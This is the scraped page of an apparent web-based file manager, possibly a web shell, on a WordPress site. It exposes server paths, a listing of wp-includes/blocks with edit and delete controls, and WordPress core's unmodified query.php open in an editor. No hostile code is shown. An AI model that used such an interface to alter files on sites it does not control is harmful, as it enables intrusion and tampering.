Priority File Manager
📁 public_html
Base Directory:
/home/ecedu/public_html
/home/ecedu/public_html/wp-content/plugins
/home/ecedu/public_html/wp-content
/home/ecedu
/var/www
/var/www/cgi-bin
/var/www/html
public_html
/
wp-includes
/
blocks
/home/ecedu/public_html/wp-includes/blocks
Name
Type
Size
Actions
📁
..
Folder
-
Delete
Rename
📁
archives
Folder
-
Delete
Rename
📄
archives.php
File
2994
Delete
Rename
Edit
Download
📁
audio
Folder
-
Delete
Rename
📁
avatar
Folder
-
Delete
Rename
📄
avatar.php
File
5745
Delete
Rename
Edit
Download
📁
block
Folder
-
Delete
Rename
📄
block.php
File
3314
Delete
Rename
Edit
Download
📄
blocks-json.php
File
193945
Delete
Rename
Edit
Download
📁
button
Folder
-
Delete
Rename
📄
button.php
File
1805
Delete
Rename
Edit
Download
📁
buttons
Folder
-
Delete
Rename
📁
calendar
Folder
-
Delete
Rename
📄
calendar.php
File
6075
Delete
Rename
Edit
Download
📁
categories
Folder
-
Delete
Rename
📄
categories.php
File
4010
Delete
Rename
Edit
Download
📁
code
Folder
-
Delete
Rename
📁
column
Folder
-
Delete
Rename
📁
columns
Folder
-
Delete
Rename
📁
comment-author-name
Folder
-
Delete
Rename
📄
comment-author-name.php
File
2133
Delete
Rename
Edit
Download
📁
comment-content
Folder
-
Delete
Rename
📄
comment-content.php
File
2459
Delete
Rename
Edit
Download
📁
comment-date
Folder
-
Delete
Rename
📄
comment-date.php
File
1863
Delete
Rename
Edit
Download
📁
comment-edit-link
Folder
-
Delete
Rename
📄
comment-edit-link.php
File
1713
Delete
Rename
Edit
Download
📁
comment-reply-link
Folder
-
Delete
Rename
📄
comment-reply-link.php
File
2075
Delete
Rename
Edit
Download
📁
comment-template
Folder
-
Delete
Rename
📄
comment-template.php
File
4494
Delete
Rename
Edit
Download
📁
comments
Folder
-
Delete
Rename
📁
comments-pagination
Folder
-
Delete
Rename
📁
comments-pagination-next
Folder
-
Delete
Rename
📄
comments-pagination-next.php
File
1924
Delete
Rename
Edit
Download
📁
comments-pagination-numbers
Folder
-
Delete
Rename
📄
comments-pagination-numbers.php
File
1632
Delete
Rename
Edit
Download
📁
comments-pagination-previous
Folder
-
Delete
Rename
📄
comments-pagination-previous.php
File
1790
Delete
Rename
Edit
Download
📄
comments-pagination.php
File
1199
Delete
Rename
Edit
Download
📁
comments-title
Folder
-
Delete
Rename
📄
comments-title.php
File
2772
Delete
Rename
Edit
Download
📄
comments.php
File
6767
Delete
Rename
Edit
Download
📁
cover
Folder
-
Delete
Rename
📄
cover.php
File
3175
Delete
Rename
Edit
Download
📁
details
Folder
-
Delete
Rename
📁
embed
Folder
-
Delete
Rename
📁
file
Folder
-
Delete
Rename
📄
file.php
File
1793
Delete
Rename
Edit
Download
📁
footnotes
Folder
-
Delete
Rename
📄
footnotes.php
File
3771
Delete
Rename
Edit
Download
📁
freeform
Folder
-
Delete
Rename
📁
gallery
Folder
-
Delete
Rename
📄
gallery.php
File
6438
Delete
Rename
Edit
Download
📁
group
Folder
-
Delete
Rename
📁
heading
Folder
-
Delete
Rename
📄
heading.php
File
1301
Delete
Rename
Edit
Download
📁
home-link
Folder
-
Delete
Rename
📄
home-link.php
File
5438
Delete
Rename
Edit
Download
📁
html
Folder
-
Delete
Rename
📁
image
Folder
-
Delete
Rename
📄
image.php
File
12023
Delete
Rename
Edit
Download
📄
index.php
File
5111
Delete
Rename
Edit
Download
📁
latest-comments
Folder
-
Delete
Rename
📄
latest-comments.php
File
5040
Delete
Rename
Edit
Download
📁
latest-posts
Folder
-
Delete
Rename
📄
latest-posts.php
File
8542
Delete
Rename
Edit
Download
📁
legacy-widget
Folder
-
Delete
Rename
📄
legacy-widget.php
File
3997
Delete
Rename
Edit
Download
📁
list
Folder
-
Delete
Rename
📁
list-item
Folder
-
Delete
Rename
📄
list.php
File
1273
Delete
Rename
Edit
Download
📁
loginout
Folder
-
Delete
Rename
📄
loginout.php
File
1418
Delete
Rename
Edit
Download
📁
media-text
Folder
-
Delete
Rename
📄
media-text.php
File
4383
Delete
Rename
Edit
Download
📁
missing
Folder
-
Delete
Rename
📁
more
Folder
-
Delete
Rename
📁
navigation
Folder
-
Delete
Rename
📁
navigation-link
Folder
-
Delete
Rename
📄
navigation-link.php
File
13913
Delete
Rename
Edit
Download
📁
navigation-submenu
Folder
-
Delete
Rename
📄
navigation-submenu.php
File
9943
Delete
Rename
Edit
Download
📄
navigation.php
File
49620
Delete
Rename
Edit
Download
📁
nextpage
Folder
-
Delete
Rename
📁
page-list
Folder
-
Delete
Rename
📁
page-list-item
Folder
-
Delete
Rename
📄
page-list-item.php
File
361
Delete
Rename
Edit
Download
📄
page-list.php
File
13611
Delete
Rename
Edit
Download
📁
paragraph
Folder
-
Delete
Rename
📁
pattern
Folder
-
Delete
Rename
📄
pattern.php
File
1788
Delete
Rename
Edit
Download
📁
post-author
Folder
-
Delete
Rename
📁
post-author-biography
Folder
-
Delete
Rename
📄
post-author-biography.php
File
1524
Delete
Rename
Edit
Download
📁
post-author-name
Folder
-
Delete
Rename
📄
post-author-name.php
File
1951
Delete
Rename
Edit
Download
📄
post-author.php
File
2734
Delete
Rename
Edit
Download
📁
post-comments-form
Folder
-
Delete
Rename
📄
post-comments-form.php
File
2805
Delete
Rename
Edit
Download
📁
post-content
Folder
-
Delete
Rename
📄
post-content.php
File
2156
Delete
Rename
Edit
Download
📁
post-date
Folder
-
Delete
Rename
📄
post-date.php
File
3124
Delete
Rename
Edit
Download
📁
post-excerpt
Folder
-
Delete
Rename
📄
post-excerpt.php
File
3447
Delete
Rename
Edit
Download
📁
post-featured-image
Folder
-
Delete
Rename
📄
post-featured-image.php
File
9363
Delete
Rename
Edit
Download
📁
post-navigation-link
Folder
-
Delete
Rename
📄
post-navigation-link.php
File
4837
Delete
Rename
Edit
Download
📁
post-template
Folder
-
Delete
Rename
📄
post-template.php
File
5749
Delete
Rename
Edit
Download
📁
post-terms
Folder
-
Delete
Rename
📄
post-terms.php
File
3640
Delete
Rename
Edit
Download
📁
post-title
Folder
-
Delete
Rename
📄
post-title.php
File
2138
Delete
Rename
Edit
Download
📁
preformatted
Folder
-
Delete
Rename
📁
pullquote
Folder
-
Delete
Rename
📁
query
Folder
-
Delete
Rename
📁
query-no-results
Folder
-
Delete
Rename
📄
query-no-results.php
File
1847
Delete
Rename
Edit
Download
📁
query-pagination
Folder
-
Delete
Rename
📁
query-pagination-next
Folder
-
Delete
Rename
📄
query-pagination-next.php
File
3787
Delete
Rename
Edit
Download
📁
query-pagination-numbers
Folder
-
Delete
Rename
📄
query-pagination-numbers.php
File
4770
Delete
Rename
Edit
Download
📁
query-pagination-previous
Folder
-
Delete
Rename
📄
query-pagination-previous.php
File
3584
Delete
Rename
Edit
Download
📄
query-pagination.php
File
1176
Delete
Rename
Edit
Download
📁
query-title
Folder
-
Delete
Rename
📄
query-title.php
File
2098
Delete
Rename
Edit
Download
📁
query-total
Folder
-
Delete
Rename
📄
query-total.php
File
2535
Delete
Rename
Edit
Download
📄
query.php
File
5690
Delete
Rename
Edit
Download
📁
quote
Folder
-
Delete
Rename
📁
read-more
Folder
-
Delete
Rename
📄
read-more.php
File
1830
Delete
Rename
Edit
Download
📄
require-dynamic-blocks.php
File
4163
Delete
Rename
Edit
Download
📄
require-static-blocks.php
File
501
Delete
Rename
Edit
Download
📁
rss
Folder
-
Delete
Rename
📄
rss.php
File
4073
Delete
Rename
Edit
Download
📁
search
Folder
-
Delete
Rename
📄
search.php
File
23016
Delete
Rename
Edit
Download
📁
separator
Folder
-
Delete
Rename
📁
shortcode
Folder
-
Delete
Rename
📄
shortcode.php
File
735
Delete
Rename
Edit
Download
📁
site-logo
Folder
-
Delete
Rename
📄
site-logo.php
File
6334
Delete
Rename
Edit
Download
📁
site-tagline
Folder
-
Delete
Rename
📄
site-tagline.php
File
1203
Delete
Rename
Edit
Download
📁
site-title
Folder
-
Delete
Rename
📄
site-title.php
File
1853
Delete
Rename
Edit
Download
📁
social-link
Folder
-
Delete
Rename
📄
social-link.php
File
65174
Delete
Rename
Edit
Download
📁
social-links
Folder
-
Delete
Rename
📁
spacer
Folder
-
Delete
Rename
📁
table
Folder
-
Delete
Rename
📁
tag-cloud
Folder
-
Delete
Rename
📄
tag-cloud.php
File
1590
Delete
Rename
Edit
Download
📁
template-part
Folder
-
Delete
Rename
📄
template-part.php
File
10154
Delete
Rename
Edit
Download
📁
term-description
Folder
-
Delete
Rename
📄
term-description.php
File
1336
Delete
Rename
Edit
Download
📁
text-columns
Folder
-
Delete
Rename
📁
verse
Folder
-
Delete
Rename
📁
video
Folder
-
Delete
Rename
📁
widget-group
Folder
-
Delete
Rename
📄
widget-group.php
File
2438
Delete
Rename
Edit
Download
Upload
Create Folder
📝 Editing:
query.php
Size: 5,690 bytes
Lines: 153
Type: .php
💾 Save
Cancel
✕
<?php /** * Server-side rendering of the `core/query` block. * * @package WordPress */ /** * Modifies the static `core/query` block on the server. * * @since 6.4.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block The block instance. * * @return string Returns the modified output of the query block. */ function render_block_core_query( $attributes, $content, $block ) { $is_interactive = isset( $attributes['enhancedPagination'] ) && true === $attributes['enhancedPagination'] && isset( $attributes['queryId'] ); // Enqueue the script module and add the necessary directives if the block is // interactive. if ( $is_interactive ) { wp_enqueue_script_module( '@wordpress/block-library/query/view' ); $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag() ) { // Add the necessary directives. $p->set_attribute( 'data-wp-interactive', 'core/query' ); $p->set_attribute( 'data-wp-router-region', 'query-' . $attributes['queryId'] ); $p->set_attribute( 'data-wp-context', '{}' ); $p->set_attribute( 'data-wp-key', $attributes['queryId'] ); $content = $p->get_updated_html(); } } // Add the styles to the block type if the block is interactive and remove // them if it's not. $style_asset = 'wp-block-query'; if ( ! wp_style_is( $style_asset ) ) { $style_handles = $block->block_type->style_handles; // If the styles are not needed, and they are still in the `style_handles`, remove them. if ( ! $is_interactive && in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) ); } // If the styles are needed, but they were previously removed, add them again. if ( $is_interactive && ! in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) ); } } return $content; } /** * Registers the `core/query` block on the server. * * @since 5.8.0 */ function register_block_core_query() { register_block_type_from_metadata( __DIR__ . '/query', array( 'render_callback' => 'render_block_core_query', ) ); } add_action( 'init', 'register_block_core_query' ); /** * Traverse the tree of blocks looking for any plugin block (i.e., a block from * an installed plugin) inside a Query block with the enhanced pagination * enabled. If at least one is found, the enhanced pagination is effectively * disabled to prevent any potential incompatibilities. * * @since 6.4.0 * * @param array $parsed_block The block being rendered. * @return array Returns the parsed block, unmodified. */ function block_core_query_disable_enhanced_pagination( $parsed_block ) { static $enhanced_query_stack = array(); static $dirty_enhanced_queries = array(); static $render_query_callback = null; $block_name = $parsed_block['blockName']; $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_name ); $has_enhanced_pagination = isset( $parsed_block['attrs']['enhancedPagination'] ) && true === $parsed_block['attrs']['enhancedPagination'] && isset( $parsed_block['attrs']['queryId'] ); /* * Client side navigation can be true in two states: * - supports.interactivity = true; * - supports.interactivity.clientNavigation = true; */ $supports_client_navigation = ( isset( $block_type->supports['interactivity']['clientNavigation'] ) && true === $block_type->supports['interactivity']['clientNavigation'] ) || ( isset( $block_type->supports['interactivity'] ) && true === $block_type->supports['interactivity'] ); if ( 'core/query' === $block_name && $has_enhanced_pagination ) { $enhanced_query_stack[] = $parsed_block['attrs']['queryId']; if ( ! isset( $render_query_callback ) ) { /** * Filter that disables the enhanced pagination feature during block * rendering when a plugin block has been found inside. It does so * by adding an attribute called `data-wp-navigation-disabled` which * is later handled by the front-end logic. * * @param string $content The block content. * @param array $block The full block, including name and attributes. * @return string Returns the modified output of the query block. */ $render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) { $has_enhanced_pagination = isset( $block['attrs']['enhancedPagination'] ) && true === $block['attrs']['enhancedPagination'] && isset( $block['attrs']['queryId'] ); if ( ! $has_enhanced_pagination ) { return $content; } if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) { // Disable navigation in the router store config. wp_interactivity_config( 'core/router', array( 'clientNavigationDisabled' => true ) ); $dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null; } array_pop( $enhanced_query_stack ); if ( empty( $enhanced_query_stack ) ) { remove_filter( 'render_block_core/query', $render_query_callback ); $render_query_callback = null; } return $content; }; add_filter( 'render_block_core/query', $render_query_callback, 10, 2 ); } } elseif ( ! empty( $enhanced_query_stack ) && isset( $block_name ) && ( ! $supports_client_navigation ) ) { foreach ( $enhanced_query_stack as $query_id ) { $dirty_enhanced_queries[ $query_id ] = true; } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 );
✅ File saved successfully!